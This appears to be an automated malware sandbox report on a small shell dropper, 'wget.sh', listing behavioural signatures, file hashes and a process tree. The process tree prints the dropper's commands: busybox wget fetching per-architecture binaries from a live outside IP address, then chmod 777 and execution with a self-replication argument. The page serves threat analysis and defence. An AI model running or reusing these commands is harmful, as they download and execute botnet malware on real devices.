Overview

overview

9

Static

static

1

wget.sh

ubuntu-18.04-amd64

7

wget.sh

debian-9-armhf

9

wget.sh

debian-9-mips

9

wget.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    104s
  • max time network
    130s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20250619-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    24/08/2025, 07:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    wget.sh
  • Size 1KB
  • Sample250824-h5fdsassfv
  • SHA256 0abde5d125fd13bbac99e365d34027d52792c8e8b8f44ebab1bf7712aed54297
  • MD5 SHA1 SHA512
Score
7/10
credential_accessdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads MAC address of network interface 2 TTPs 1 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

    defense_evasiondiscovery
  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

    discovery
  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

    credential_access
  • Changes its process name 1 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.sh
    /tmp/wget.sh
    1⤵
    • Executes dropped EXE
    • Reads process memory
    • Writes file to tmp directory
    PID:707
    • /bin/cp
      cp /bin/busybox busybox
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:710
    • /bin/busybox
      busybox wget http://46.23.108.231/arm4 -O-
      2⤵
        PID:714
      • /bin/chmod
        chmod 777 XKJDSA
        2⤵
        • File and Directory Permissions Modification
        PID:723
      • /tmp/XKJDSA
        ./XKJDSA selfrep.wget
        2⤵
          PID:725
        • /bin/cp
          cp /bin/busybox busybox
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:729
        • /bin/busybox
          busybox wget http://46.23.108.231/arm5 -O-
          2⤵
            PID:731
          • /bin/chmod
            chmod 777 PRTQWE
            2⤵
            • File and Directory Permissions Modification
            PID:736
          • /tmp/PRTQWE
            ./PRTQWE selfrep.wget
            2⤵
              PID:737
            • /bin/cp
              cp /bin/busybox busybox
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:739
            • /bin/busybox
              busybox wget http://46.23.108.231/arm7 -O-
              2⤵
                PID:741
              • /bin/chmod
                chmod 777 AFGHTY
                2⤵
                • File and Directory Permissions Modification
                PID:745
              • /tmp/AFGHTY
                ./AFGHTY selfrep.wget
                2⤵
                  PID:746
                • /bin/cp
                  cp /bin/busybox busybox
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:748
                • /bin/busybox
                  busybox wget http://46.23.108.231/mips -O-
                  2⤵
                  • System Network Configuration Discovery
                  PID:749
                • /bin/chmod
                  chmod 777 NVBXUE
                  2⤵
                  • File and Directory Permissions Modification
                  PID:751
                • /tmp/NVBXUE
                  ./NVBXUE selfrep.wget
                  2⤵
                    PID:752
                  • /bin/cp
                    cp /bin/busybox busybox
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:754
                  • /bin/busybox
                    busybox wget http://46.23.108.231/mpsl -O-
                    2⤵
                      PID:755
                    • /bin/chmod
                      chmod 777 WLOPKJ
                      2⤵
                      • File and Directory Permissions Modification
                      PID:756
                    • /tmp/WLOPKJ
                      ./WLOPKJ selfrep.wget
                      2⤵
                      • Renames itself
                      • Reads MAC address of network interface
                      • Reads system routing table
                      • Reads process memory
                      • Changes its process name
                      • Reads system network configuration
                      • Reads runtime system information
                      PID:757

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        AFGHTY
                        • Path /tmp/AFGHTY
                        • Size 101KB
                        • SHA256 7f9023fdbd0951650d408f62a2eb70dbaadd424d725957ee3d3a7780aa25c853
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        NVBXUE
                        • Path /tmp/NVBXUE
                        • Size 100KB
                        • SHA256 6412011a49cc5f96c04fca7df6a71fa7ed0b9eddaa2eb8703cc8daab646d14b4
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        PRTQWE
                        • Path /tmp/PRTQWE
                        • Size 90KB
                        • SHA256 6490586ab557e772c4ddb5d0bdc469118f5af4997831d32273b2a219ef871791
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        WLOPKJ
                        • Path /tmp/WLOPKJ
                        • Size 166KB
                        • SHA256 f78466c5c04ef666db6d4b80143a769fd186565a3035bfcb19d6a6a92418b2fe
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        XKJDSA
                        • Path /tmp/XKJDSA
                        • Size 85KB
                        • SHA256 3b9fb643ee107c4fdc321425bf8801dae55aa9e5c392b6062e463ec8dde0cb9d
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        busybox
                        • Path /tmp/busybox
                        • Size 857KB
                        • SHA256 80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download